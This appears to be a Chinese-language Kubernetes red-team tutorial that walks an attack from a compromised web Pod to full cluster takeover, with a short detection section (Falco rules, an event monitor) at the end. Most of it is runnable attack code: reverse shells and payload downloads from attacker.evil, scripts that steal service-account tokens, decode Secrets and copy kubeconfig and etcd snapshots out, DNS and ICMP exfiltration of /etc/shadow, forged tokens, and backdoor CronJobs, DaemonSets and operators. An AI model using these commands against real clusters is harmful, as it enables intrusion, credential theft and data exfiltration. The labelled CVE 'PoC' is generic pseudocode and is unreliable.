一、攻击路径全景图
本文模拟一个有安全意识的企业 K8s 集群（已启用 PSA Baseline、有 Falco、etcd 开了 mTLS），看攻击者如何从一个拿到 shell 的普通 Web Pod 出发，逐步扩大战果：
Step 1 初始访问: 应用 RCE → 拿到 Pod shell
Step 2 侦察阶段: 收集 SA token / RBAC / Kubernetes 版本
Step 3 横向侦察: 枚举其他 Pod / Service / ConfigMap
Step 4 权限提升 1: 利用过宽的 SA 权限 exec 到其他 Pod
Step 5 权限提升 2: 利用 secrets 读取数据库密码
Step 6 持久化: 创建恶意 DaemonSet / CronJob
Step 7 节点攻击: 从 Pod 拿到节点信息
Step 8 控制平面攻击: 窃取 kubeconfig / apiserver 凭证
Step 9 etcd 攻击: 读取所有集群 Secret
Step 10 网络侦察: 扫描 VPC 内网
Step 11 数据窃取: exfiltration 到外部 C2
Step 12 集群接管: 安装后门 Operator
二、Step 1 - 初始访问：应用 RCE
假设攻击者通过某个 Web 应用的反序列化漏洞拿到了 Pod 内执行命令的能力。
# CVE-2024-21887 Ivanti Connect Secure RCE 简化版 PoC
import socket
import ssl
import re
def exploit_rce(target_url, cmd):
"""伪代码：演示概念"""
# 发送恶意请求触发 RCE
sock = socket.create_connection((target_url, 443))
ctx = ssl.create_default_context()
ssock = ctx.wrap_socket(sock)
payload = f"GET /endpoint?param=|{cmd}| HTTP/1.1\r\nHost: {target_url}\r\n\r\n"
ssock.sendall(payload.encode())
response = ssock.recv(4096)
ssock.close()
return response.decode()
# 实际攻击: 在目标 Pod 里反弹 shell
reverse_shell = "bash -i >& /dev/tcp/attacker.evil/4444 0>&1"
# ... 发送 payload ...
# 攻击者端监听
# nc -lvnp 4444
三、Step 2 - 侦察：K8s 环境识别
攻击者拿到 Pod shell 后的第一件事：搞清楚自己在哪。
3.1 基础环境探测
# 1. 确认在 K8s Pod 内
cat /proc/1/cgroup | head -3
# 典型输出: /kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podxxxxx.slice/cri-containerd://xxxxxxxxxxxx.scope
# 2. 获取 SA token + CA
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)
KUBE=https://kubernetes.default.svc
echo "[+] Namespace: $NAMESPACE"
echo "[+] Token exists: $([ -n "$TOKEN" ] && echo YES || echo NO)"
# 3. 检查 SA 有什么权限（最关键）
for verb in get list watch create update patch delete; do
for res in pods secrets configmaps services deployments nodes; do
resp=$(curl -sk --cacert $CA -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d "{"apiVersion":"authorization.k8s.io/v1","kind":"SubjectAccessReview","spec":{"resourceAttributes":{"verb":"$verb","resource":"$res"}}}" $KUBE/apis/authorization.k8s.io/v1/subjectaccessreview 2>/dev/null)
echo "$resp" | grep -q '"allowed":true' && echo "✅ 可以 $verb $res"
done
done
# 4. K8s 版本（影响已知 CVE）
curl -sk --cacert $CA -H "Authorization: Bearer $TOKEN" $KUBE/version 2>/dev/null | jq -r '.gitVersion'
# 5. 检查自己 Pod 的 yaml（发现暴露的 Secret、镜像 tag）
MY_POD=$(hostname)
curl -sk --cacert $CA -H "Authorization: Bearer $TOKEN" $KUBE/api/v1/namespaces/$NAMESPACE/pods/$MY_POD 2>/dev/null | jq .
# 6. 节点信息
NODE_NAME=$(cat /etc/hostname 2>/dev/null)
curl -sk --cacert $CA -H "Authorization: Bearer $TOKEN" $KUBE/api/v1/nodes/$NODE_NAME 2>/dev/null | jq '.status.nodeInfo'
3.2 Python 版侦察脚本（完整可执行）
#!/usr/bin/env python3
"""
K8s Pod 内侦察脚本 - 发现 SA 权限、其他 Pod、Secret 等
攻击者视角
"""
import os, json, urllib.request, ssl, base64, socket
class K8sRecon:
def __init__(self):
self.token = open("/var/run/secrets/kubernetes.io/serviceaccount/token").read()
self.ca = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
self.namespace = open("/var/run/secrets/kubernetes.io/serviceaccount/namespace").read().strip()
self.api = "https://kubernetes.default.svc"
self.ctx = ssl.create_default_context(cafile=self.ca)
self.headers = {"Authorization": f"Bearer {self.token}"}
def get(self, path):
req = urllib.request.Request(f"{self.api}{path}", headers=self.headers)
try:
with urllib.request.urlopen(req, context=self.ctx) as r:
return json.loads(r.read())
except Exception as e:
return None
def can(self, verb, resource):
"""检查 SA 是否有权限"""
data = json.dumps({
"apiVersion": "authorization.k8s.io/v1",
"kind": "SubjectAccessReview",
"spec": {"resourceAttributes": {"verb": verb, "resource": resource}}
}).encode()
req = urllib.request.Request(
f"{self.api}/apis/authorization.k8s.io/v1/subjectaccessreview",
data=data, headers={**self.headers, "Content-Type": "application/json"}
)
try:
with urllib.request.urlopen(req, context=self.ctx) as r:
return json.loads(r.read()).get("status", {}).get("allowed", False)
except: return False
def run(self):
print(f"[*] Namespace: {self.namespace}")
print(f"[*] K8s Version: {self.get('/version') or 'unknown'}")
# 枚举 SA 权限矩阵
print("
[*] SA 权限矩阵:")
for verb in ["get", "list", "watch", "create", "update", "delete", "exec", "patch"]:
for res in ["pods", "pods/exec", "secrets", "configmaps", "services", "deployments", "nodes", "roles"]:
if self.can(verb, res):
print(f" ✅ {verb:8s} {res}")
# 列出本 namespace 所有 Pod
pods = self.get(f"/api/v1/namespaces/{self.namespace}/pods")
if pods and "items" in pods:
print(f"
[*] 本 NS Pods: {len(pods['items'])}")
for p in pods["items"]:
name = p["metadata"]["name"]
status = p["status"]["phase"]
print(f" - {name} ({status})")
# 尝试 list secrets (最有价值)
secrets = self.get(f"/api/v1/namespaces/{self.namespace}/secrets")
if secrets and "items" in secrets:
print(f"
[!] 发现 {len(secrets['items'])} 个 Secret:")
for s in secrets["items"]:
name = s["metadata"]["name"]
print(f" - {name}")
# 尝试解码内容
if "data" in s:
for k, v in s["data"].items():
try:
decoded = base64.b64decode(v).decode(errors="replace")
print(f" {k} = {decoded[:40]}...")
except: pass
# 检查网络
self._scan_network()
def _scan_network(self):
"""内网端口扫描"""
import concurrent.futures
# K8s Service CIDR 通常是 10.96.0.0/12
targets = [
("kubernetes.default.svc", 443),
("kube-dns.kube-system", 53),
(f"{self.namespace}.svc.cluster.local", 80),
]
print(f"
[*] 内网探测:")
for host, port in targets:
try:
ip = socket.gethostbyname(host)
s = socket.create_connection((ip, port), timeout=1)
s.close()
print(f" ✅ {host}:{port} ({ip})")
except Exception as e:
print(f" ❌ {host}:{port} - {e}")
if __name__ == "__main__":
K8sRecon().run()
四、Step 3 - 横向移动：利用 SA exec 到其他 Pod
4.1 如果 SA 有 pods/exec 权限
# 直接调用 exec API (相当于 kubectl exec)
POD_TO_HACK="other-app-7d4f5b6c7b-xxxxx"
# 用 curl 完成 exec (SPDY 协议较复杂，用 Python 更容易)
python3 -c "
import json, urllib.request, ssl, base64
TOKEN=open('/var/run/secrets/kubernetes.io/serviceaccount/token').read()
CA='/var/run/secrets/kubernetes.io/serviceaccount/ca.crt'
ctx=ssl.create_default_context(cafile=CA)
headers={'Authorization': f'Bearer {TOKEN}'}
# 简单版：pods/attach 到主容器
url=f'https://kubernetes.default.svc/api/v1/namespaces/${NAMESPACE}/pods/${POD_TO_HACK}/attach?container=main&stdin=1&stdout=1&tty=1'
# 生产攻击中需要 SPDY 协议处理
"
4.2 更简单：kubectl 已安装
很多基础镜像（特别是 CI 镜像）自带 kubectl：
# 如果容器里有 kubectl
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl --token=$TOKEN --server=https://kubernetes.default.svc --certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt get pods -A
# exec 到高权限 Pod
kubectl --token=$TOKEN exec -it privileged-pod-xxx -- /bin/sh
4.3 通过挂载的 Secret 获取其他 ServiceAccount Token
# 某些 Pod 会把其他 SA 的 Secret 作为 volume 挂载
find / -name "token" -path "*/serviceaccount/*" 2>/dev/null
find / -name "*.crt" -path "*kubernetes*" 2>/dev/null
find /etc/secrets /mount /data -type f 2>/dev/null | xargs grep -l "kubernetes.io" 2>/dev/null
五、Step 4 - 读取 Secret：黄金密码
假设 Step 2 发现 SA 有 list secrets 权限：
# 列出本 namespace 所有 secret
curl -sk -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets | jq -r '.items[] | "(.metadata.name): (.data | keys)"'
# 解码数据库密码
curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets/db-credentials | jq -r '.data | to_entries[] | "(.key): (.value)"' | while read key b64val; do
val=$(echo $b64val | base64 -d)
echo "$key = $val"
done
# Cluster-wide secret 枚举（如果 SA 权限够）
for ns in $(curl -sk $KUBE/api/v1/namespaces -H "Authorization: Bearer $TOKEN" | jq -r '.items[].metadata.name'); do
echo "=== Namespace: $ns ==="
curl -sk $KUBE/api/v1/namespaces/$ns/secrets -H "Authorization: Bearer $TOKEN" | jq -r '.items[]?.metadata.name'
done
六、Step 5 - 持久化：在集群里扎根
6.1 方法 A：创建 CronJob 定时反弹
# persistence-cronjob.yaml
apiVersion: batch/v1
kind: CronJob
metadata:
name: system-updater # 看起来很正常
namespace: kube-system # 如果有 cluster-admin 权限
spec:
schedule: "*/5 * * * *"
jobTemplate:
spec:
template:
spec:
serviceAccountName: kube-system-default # 偷一个高权限 SA
containers:
- name: updater
image: alpine
command:
- /bin/sh
- -c
- |
# 反弹 shell 到 C2
apk add --no-cache curl 2>/dev/null
curl -s http://attacker.evil:8080/setup.sh | sh
# 或者直接 bash -i >& /dev/tcp/attacker.evil/4444 0>&1
restartPolicy: OnFailure
6.2 方法 B：DaemonSet 覆盖所有节点
# 更狠：在每个节点都起一个后门
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: node-monitor
namespace: kube-system
spec:
selector:
matchLabels:
app: node-monitor
template:
metadata:
labels:
app: node-monitor
spec:
hostPID: true
hostNetwork: true
containers:
- name: monitor
image: alpine
command: ["/bin/sh", "-c", "while true; do echo host compromise >> /tmp/.hidden; sleep 3600; done"]
securityContext:
privileged: true
6.3 方法 C：修改 kubelet 配置（节点级后门）
# 如果能写 /var/lib/kubelet （hostPath 挂载或其他方式）
# 修改 /var/lib/kubelet/config.yaml 关闭 ImagePolicy，允许任何镜像
cat >> /var/lib/kubelet/config.yaml << 'EOF'
defaultRuntimeClass: runc
featureGates:
KubeletPodResources: true
imagePolicy:
default: "Never" # 禁止 ImagePolicy，允许不受信任的镜像
EOF
# 或者替换 kubelet 二进制
cp /usr/bin/kubelet /usr/bin/kubelet.orig
cp /tmp/backdoor-kubelet /usr/bin/kubelet
# 重启 kubelet
systemctl restart kubelet
七、Step 6 - 节点逃逸：从 Pod 拿到宿主机 root
7.1 如果 Pod 有 hostPath 挂载
# 检查所有挂载
mount | grep -E "/host|/var/lib|/etc/kubernetes"
# 如果挂载了宿主 /etc 或 /var
ls /host/etc/kubernetes/
ls /host/var/lib/kubelet/
# 直接读 kubeconfig
cat /host/etc/kubernetes/admin.conf
# 替换宿主的 SSH 公钥
echo "ssh-rsa AAAA attacker@evil" >> /host/root/.ssh/authorized_keys
chmod 600 /host/root/.ssh/authorized_keys
7.2 通过容器运行时 socket
# containerd socket
ls -la /run/containerd/containerd.sock 2>/dev/null
# cri-o socket
ls -la /var/run/crio/crio.sock 2>/dev/null
# 用 ctr 工具枚举宿主上所有容器
ctr -n k8s.io containers ls
ctr -n k8s.io tasks ls
# 直接操作宿主上的其他容器（比 kubectl exec 更底层）
ctr -n k8s.io exec -t <container-id> /bin/sh
八、Step 7 - 控制平面攻击
8.1 窃取 kubeconfig
# 在主节点上 /etc/kubernetes/
ls /etc/kubernetes/*.conf
# admin.conf 是最高权限
cat admin.conf
# 发给 C2
curl -T admin.conf http://attacker.evil/exfil/
8.2 伪造 Kubernetes SA Token
如果能访问 apiserver 的 token 签发私钥：
# apiserver 私钥路径
ls /etc/kubernetes/pki/
# apiserver.key 可以用来签发任意 SA token
# 用 Python 伪造 SA token
python3 << 'EOF'
import jwt
import time
from cryptography.hazmat.primitives import serialization
with open("/etc/kubernetes/pki/apiserver.key", "rb") as f:
private_key = f.read()
# 伪造 cluster-admin 权限的 SA
payload = {
"iss": "kubernetes/serviceaccount",
"kubernetes.io/serviceaccount/namespace": "kube-system",
"kubernetes.io/serviceaccount/name": "hacked-sa",
"kubernetes.io/serviceaccount/uid": "00000000-0000-0000-0000-000000000001",
"sub": "system:serviceaccount:kube-system:hacked-sa",
"exp": int(time.time()) + 3600,
}
token = jwt.encode(payload, private_key, algorithm="RS256")
print(f"伪造的 token: {token}")
EOF
九、Step 8 - Etcd 攻击：读取整个集群的 Secret
9.1 方法 A：窃取 etcd 证书
# kubeadm 安装 etcd 时证书在 /etc/kubernetes/pki/etcd/
ls /etc/kubernetes/pki/etcd/
# ca.crt ca.key healthcheck-client.crt healthcheck-client.key peer.crt peer.key server.crt server.key
# 用 etcdctl 连接
ETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key get /registry/secrets --prefix
# 导出所有数据（dump）
ETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key snapshot save /tmp/etcd-snapshot.db
# 把 snapshot 拷到本地分析
curl -T /tmp/etcd-snapshot.db http://attacker.evil/exfil/
9.2 方法 B：etcd 直接逃逸（CVE-2024-3177）
某些 etcd 版本允许通过 debug endpoint 绕过认证。
十、Step 9 - 数据窃取 (Exfiltration)
10.1 DNS Tunnel（绕过 HTTP 出口限制）
# 将数据编码到 DNS 查询中，请求攻击者控制的 DNS 服务器
cat /etc/shadow | base64 | fold -w50 | while read line; do
host "$line.attacker.evil" 10.0.0.1
done
# 完整 Python 实现
python3 << 'PYEOF'
import base64, socket, time, zlib
def dns_exfil(filename, dns_server, domain):
with open(filename, "rb") as f:
data = zlib.compress(f.read())
b64 = base64.urlsafe_b64encode(data).decode()
print(f"[*] 要发送 {len(b64)} 字符")
chunk_size = 40
for i in range(0, len(b64), chunk_size):
chunk = b64[i:i+chunk_size]
query = f"{chunk}.{i//chunk_size:04d}.{domain}"
try:
socket.gethostbyname(query)
except:
pass # NXDOMAIN 没关系，attacker 的 DNS server 已经收到了
time.sleep(0.1)
dns_exfil("/etc/kubernetes/admin.conf", "attacker.evil", "exfil.attacker.evil")
PYEOF
10.2 ICMP 隧道
# 用 ping 的 data 字段携带数据
python3 -c "
import struct, socket
data = open('/etc/shadow','rb').read()
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
for i in range(0, len(data), 32):
payload = data[i:i+32] + b'\x00' * (32 - len(data[i:i+32]))
packet = struct.pack('!BBHHH', 8, 0, 0, 1, i) + payload
s.sendto(packet, ('10.0.0.1', 0))
"
十一、Step 10 - 集群接管
11.1 安装恶意 Operator
# evil-operator.yaml - 伪装成正常的 CRD Operator
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
name: clusters.security.corp
spec:
group: security.corp
names:
kind: Cluster
plural: clusters
versions:
- name: v1
served: true
storage: true
schema:
openAPIV3Schema:
type: object
---
# Operator 自己的 Deployment
apiVersion: apps/v1
kind: Deployment
metadata:
name: security-agent
namespace: kube-system
spec:
replicas: 2
selector:
matchLabels:
app: security-agent
template:
metadata:
labels:
app: security-agent
spec:
serviceAccountName: cluster-admin
containers:
- name: agent
image: attacker.evil/agent:latest
# 功能: 监听所有资源变化，自动 exfil 敏感数据
---
# 绑定 cluster-admin
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: security-agent-admin
subjects:
- kind: ServiceAccount
name: security-agent
namespace: kube-system
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
11.2 安装 webhook 后门
拦截所有 admission 请求，偷偷记录敏感字段或修改请求。
十二、检测与防御
12.1 Falco 规则（针对上述攻击）
# attacker-detection-rules.yaml
- rule: Attacker Pod Reads SA Token
desc: 可疑地读取 SA token
condition: >
read_file and fd.name contains serviceaccount
output: "Pod %user.name 读取 SA token: %fd.name"
priority: CRITICAL
- rule: Reverse Shell Detected
desc: 检测反弹 shell
condition: >
spawned_process and proc.name in (bash, sh, nc, ncat) and
(proc.cmdline contains "/dev/tcp" or proc.cmdline contains "nc -e")
output: "反弹 shell: %proc.cmdline"
priority: CRITICAL
- rule: Kubectl Exec Detected
desc: 攻击者用 kubectl exec 横向移动
condition: >
spawned_process and proc.name = kubectl and proc.cmdline contains "exec"
priority: HIGH
- rule: DaemonSet Created in Kube-System
desc: 在 kube-system 创建 DaemonSet（持久化）
condition: >
event_type = create and object.name = DaemonSet and k8s.ns.name = kube-system
priority: CRITICAL
- rule: /etc/kubernetes Read
desc: 读取 apiserver kubeconfig
condition: >
read_file and fd.name startswith /etc/kubernetes/
priority: CRITICAL
- rule: Etcd Snapshot
desc: etcd 快照导出
condition: >
spawned_process and proc.name = etcdctl and proc.cmdline contains "snapshot"
priority: HIGH
12.2 检测脚本（持续监控）
#!/usr/bin/env python3
"""
实时监控 K8s API 事件，检测攻击行为
"""
import subprocess, json, time, sys, os
def stream_events():
# 用 kubectl 实时 watch 所有事件
proc = subprocess.Popen(
["kubectl", "get", "events", "-A", "--watch", "-o", "json"],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
)
for line in proc.stdout:
if not line.strip(): continue
try:
event = json.loads(line)
analyze(event)
except: pass
def analyze(event):
reason = event.get("reason", "")
message = event.get("message", "")
involved = event.get("involvedObject", {})
obj_kind = involved.get("kind", "")
obj_name = involved.get("name", "")
# 规则
patterns = [
("ClusterRoleBinding", "cluster-admin", "有人授予了 cluster-admin"),
("Secret", "get", f"有人读取了 Secret {obj_name}"),
("Secret", "list", f"有人枚举了 Secret"),
("Pod", "exec", f"有人 exec 到 Pod {obj_name}"),
("DaemonSet", "create", f"有人创建了 DaemonSet {obj_name}"),
("CronJob", "create", f"有人创建了 CronJob {obj_name}"),
]
for kind, action, alert in patterns:
if obj_kind == kind and action.lower() in message.lower():
print(f"[!] 告警: {alert} ({event.get('source',{}).get('component','?')})")
# 触发告警（可接入 Slack/钉钉/邮件）
if __name__ == "__main__":
stream_events()
十三、结语
K8s 渗透的核心认知：一个 Pod 只要有任何一个过宽的权限，整个集群就已经失守。
- SA token 泄露 + list secrets = 全量密钥泄露
- SA token 泄露 + exec = 横向移动到所有 workload
- SA token 泄露 + create pod = 持久化 + 节点逃逸
- kubeconfig 泄露 = 直接接管
防御优先级：最小权限（PSA + RBAC 收紧）> 运行时检测（Falco）> 异常监控（审计日志 + SIEM）> 定期 red team。